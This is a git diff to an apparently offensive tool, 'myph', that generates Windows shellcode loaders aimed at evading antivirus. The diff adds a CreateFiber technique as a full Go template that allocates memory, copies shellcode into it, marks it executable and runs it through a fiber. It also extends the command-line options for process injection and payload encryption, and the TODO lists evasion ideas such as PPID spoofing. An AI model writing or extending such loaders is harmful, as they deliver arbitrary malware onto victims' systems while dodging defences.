diff --git a/README.md b/README.md
@@ -56,7 +56,7 @@ Flags:
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
- -t, --technique string shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+ -t, --technique string shellcode-loading technique (allowed: CRT, CreateFiber, ProcessHollowing, CreateThread, Syscall) (default "CRT")
-v, --version version for myph
Use "myph [command] --help" for more information about a command.
@@ -65,10 +65,11 @@ Use "myph [command] --help" for more information about a command.
#### Loader Methods
This tool supports few methods for now, but aims to add more as time goes on:
-- CreateThread
-- CreateRemoteThread
- Syscall
+- CreateFiber
+- CreateThread
- Process hollowing
+- CreateRemoteThread
If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
diff --git a/TODO.txt b/TODO.txt
@@ -28,3 +28,4 @@ Misc:
- indirect syscalls
- support for dameonizing ?
- introduce ppid spoofing ?
+ - add support for passing arguments to payload from command-line
diff --git a/cli/parser.go b/cli/parser.go
@@ -271,7 +271,7 @@ func GetParser(opts *Options) *cobra.Command {
rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CreateFiber, ProcessHollowing, CreateThread, Syscall)")
rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
diff --git a/cli/types.go b/cli/types.go
@@ -16,6 +16,7 @@ const (
CRT technique = "CRT"
SYSCALL technique = "Syscall"
+ CreateFiber technique = "CreateFiber"
CreateThread technique = "CreateThread"
ProcessHollowing technique = "ProcessHollowing"
)
@@ -49,11 +50,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"Syscall\", \"CreateFiber\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
diff --git a/loaders/createFiber.go b/loaders/createFiber.go
@@ -0,0 +1,66 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCreateFiberTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "os"
+ "unsafe"
+ "syscall"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_READWRITE = 0x04
+)
+
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ VirtualProtect = kernel32.MustFindProc("VirtualProtect")
+ ConvertThreadToFiber = kernel32.MustFindProc("ConvertThreadToFiber")
+ CreateFiber = kernel32.MustFindProc("CreateFiber")
+ SwitchToFiber = kernel32.MustFindProc("SwitchToFiber")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ /* convert main thread to fiber */
+ fiberAddr, _, _ := ConvertThreadToFiber.Call()
+ if fiberAddr == 0 {
+ os.Exit(1)
+ }
+
+ /* allocate memory for the shellcode with VirtualAlloc & set the correct permissions */
+ addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+ if addr == 0 {
+ os.Exit(1)
+ }
+
+ /* copy shellcode to allocated space */
+ _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+ /* change memory permissions so that it can execute */
+ oldProtect := PAGE_READWRITE
+ _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+
+ /* call CreateFiber & switch to the fiber to execute the payload */
+ fiber, _, _ := CreateFiber.Call(0, addr, 0)
+ _, _, _ = SwitchToFiber.Call(fiber)
+
+}
+ `)
+}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -5,9 +5,8 @@ import (
)
func GetCreateThreadTemplate(targetProcess string) string {
- var _ = targetProcess // unused in this template
+ InformProcessUnused(targetProcess)
- println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
return fmt.Sprintf(`
package main
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -5,9 +5,7 @@ import (
)
func GetSyscallTemplate(targetProcess string) string {
- _ = targetProcess // unused in this technique
-
- println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+ InformProcessUnused(targetProcess)
return fmt.Sprintf(`
package main
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,5 +1,11 @@
package loaders
+func InformProcessUnused(process string) {
+ _ = process
+
+ println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+}
+
func SelectTemplate(templateName string) func(string) string {
switch templateName {
@@ -15,6 +21,9 @@ func SelectTemplate(templateName string) func(string) string {
case "Syscall":
return GetSyscallTemplate
+ case "CreateFiber":
+ return GetCreateFiberTemplate
+
}
return nil
| | | | | | | |